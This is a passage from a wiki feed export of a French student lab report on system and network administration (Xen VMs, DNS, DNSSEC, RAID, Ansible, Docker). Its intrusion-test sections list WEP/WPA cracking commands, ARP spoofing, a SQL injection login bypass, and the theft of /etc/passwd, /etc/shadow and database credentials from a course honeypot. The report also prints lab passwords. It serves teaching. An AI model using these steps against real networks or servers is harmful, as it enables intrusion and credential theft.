(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des containeurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre containeur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55174</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55174"/>
				<updated>2020-12-22T14:33:38Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
